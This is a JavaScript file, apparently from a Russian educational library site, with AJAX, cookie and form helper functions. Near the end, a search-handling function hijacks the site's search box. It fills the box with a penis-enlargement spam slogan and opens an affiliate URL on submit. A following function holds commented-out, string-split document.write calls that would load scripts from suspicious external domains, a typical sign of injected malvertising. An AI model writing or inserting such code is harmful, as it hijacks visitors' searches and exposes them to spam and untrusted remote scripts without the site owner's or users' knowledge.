var receiveReq = getXmlHttpRequestObject();
function getXmlHttpRequestObject(){
  if(window.XMLHttpRequest){
          return new XMLHttpRequest();
  }else if(window.ActiveXObject){
          return new ActiveXObject("Microsoft.XMLHTTP");
  }
}

function AjaxGetPublicAdmText(cpath){
	receiveReq.open("GET", '../get_public_admtext.php?cpath='+cpath, true);
	receiveReq.onreadystatechange=function() {
		pubadmtextobj=document.getElementById('public_adm_text');
		endtable=document.getElementById('public_end_table');
		if(receiveReq.readyState==4) {
			pubadmtextobj.innerHTML=receiveReq.responseText;
//			endtable.style.visibility=(receiveReq.responseText ? 'visible' : 'hidden');
//			pubadmtextobj.style.visibility=(receiveReq.responseText ? 'visible' : 'hidden');
			endtable.style.display=(receiveReq.responseText ? '' : 'none');
			pubadmtextobj.style.display=(receiveReq.responseText ? '' : 'none');
		}
		else if(receiveReq.readyState>0) {
//			endtable.style.visibility='hidden';
//			pubadmtextobj.style.visibility='visible';
			endtable.style.display='none';
			pubadmtextobj.style.display='';
			pubadmtextobj.innerHTML='Загрузка...';
		}
	};
	receiveReq.send(null);
}

function publication(category){
  switch(category){
    case '1': //1-Библиотека
      document.getElementById('set_ttl').innerHTML='Автор';
      createCookie('tbl','library_authors',1);
      break;
    case '2': //2-Современная литература
      document.getElementById('set_ttl').innerHTML='Автор';
      createCookie('tbl','literature_authors',1);
      break;
    case '3': //3-Биографии
      document.getElementById('set_ttl').innerHTML='Автор';
      createCookie('tbl','biography_authors',1);
      break;
    case '4': //4-Народное творчество
      document.getElementById('set_ttl').innerHTML='Жанр';
      createCookie('tbl','arts_cats',1);
      break;
    case '5': //5-Пересказы
      document.getElementById('set_ttl').innerHTML='Автор';
      createCookie('tbl','retell_authors',1);
      break;
    case '6': //6-Рефераты
      document.getElementById('set_ttl').innerHTML='Реферат';
      createCookie('tbl','referat_cats',1);
      break;
    case '7': //7-Учебники
      document.getElementById('set_ttl').innerHTML='Название';
      createCookie('tbl','manual_cats',1);
      break;
    case '8': //8-Методические пособия
      document.getElementById('set_ttl').innerHTML='Название';
      createCookie('tbl','textbook_cats',1);
      break;
    case '9': //9-ВУЗЫ
      document.getElementById('set_ttl').innerHTML='Учебное заведение';
      createCookie('tbl','institute',1);
      break;
  }
}

function createCookie(name,value,days) {
	var date = new Date();
	if (days) {
		date.setTime(date.getTime()+(days*24*60*60*1000));
		var expires = ";expires="+date.toGMTString();
	}
	else {
		date.setTime(date.getTime()+(24*60*60*1000));
		var expires = ";expires="+date.toGMTString();
	}
	document.cookie = name+"="+value+expires+";path=/";
}

function readCookie(name) {
	var nameEQ = name + "=";
	var ca = document.cookie.split(';');
	for(var i=0;i < ca.length;i++) {
		var c = ca[i];
		while (c.charAt(0)==' ') c = c.substring(1,c.length);
		if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
	}
	return null;
}

function eraseCookie(name) {
	createCookie(name,"",-1);
}

//createCookie('tbl','literature_authors',1);
//alert(readCookie('tbl'));
function getCookie(name) {
  var cookie = " " + document.cookie;
  var search = " " + name + "=";
  var setStr = null;
  var offset = 0;
  var end = 0;
  if (cookie.length > 0) {
    offset = cookie.indexOf(search);
    if (offset != -1) {
      offset += search.length;
      end = cookie.indexOf(";", offset)
      if (end == -1) {
        end = cookie.length;
      }
      setStr = unescape(cookie.substring(offset, end));
    }
  }
  return(setStr);
}
Object.prototype.in_array = function(datum, strict) {
    if (strict) function equals(a,b) { return a === b }
    else function equals(a,b) { return a == b }

    for (var i in this) {
        if (equals(this[i], datum)) return true;
    }
    return false;
}
function storeCaret (textEl) {
  if (textEl.createTextRange) textEl.caretPos = document.selection.createRange().duplicate();
}

function insertAtCaret (textEl, text) {
  if(textEl.createTextRange && textEl.caretPos){
    var caretPos = textEl.caretPos;
    caretPos.text = '';
    caretPos.text.charAt(caretPos.text.length - 1) == ' ' ?
    text + ' ' : text;
  }else{
    textEl.value = textEl.value + text; // если броузер не MSIE
  }

  return true;
}

Array.prototype.in_array = function ( obj ) {
  var len = this.length;
  for ( var x = 0 ; x <= len ; x++ ) {
    if ( this[x] == obj ) return true;
  }
  return false;
}
function show_add_div(div_id,val){
  var vid=document.getElementById(div_id);
  if(val=='_new'){
    vid.style.display = "block";
    vid.style.visibility = "visible";
  }else{
    vid.style.display = "none";
    vid.style.visibility = "hidden";
  }
}


function wpopen(wurl, w, h) {
	window.open(wurl,Math.random().toString().substring(2),'height='+h+',width='+w+',resizable=no,scrollbars=no,menubar=no,status=no');
}

////Поиск
function setSearch() {
	var objF = document.search;
	if(objF) {
		var obj = document.search.text;
		if(obj) {
			obj.style.fontWeight = "bold";
			obj.value="Увеличь член на 10 см!";
			objF.onsubmit = function () { 
				objI = document.search.text; 
				if(!objI || objI && objI.value=="Увеличь член на 10 см!") { 
					window.open("http://www.plus10sm.ru/?partner=5kaall");
					return false;
				} 
			}
		}
		else {
			objF.onsubmit = submitSearch;
		}
	}
}
function submitSearch() {
	var obj = document.search.text;
	if(obj) {
	}
	else {
		window.open("http://www.plus10sm.ru/?partner=5kaall");
	}
}

////Поиск

function show2m() {
//	document.write('<'+'SCR'+'IPT '+'TYP'+'E="tex'+'t/javasc'+'ript" LANGU'+'AGE="Jav'+'aScript'+'" char'+'set="windo'+'ws-12'+'51" SR'+'C="http:'+'//paradise'+'6.chekavokasp'+'erskylove.info'+'/pu.ph'+'p?id=para'+'dise6">'+'<'+'/scrip'+'t>');

//	document.write('<'+'sc'+'rip'+'t l'+'angu'+'age='+'"ja'+'vas'+'c'+'ri'+'pt" s'+'rc'+'="'+'ht'+'t'+'p:'+'/'+'/ba'+'nner'+'-in.'+'net/'+'20'+'02.'+'js'+'">'+'</s'+'cr'+'ipt>');
}
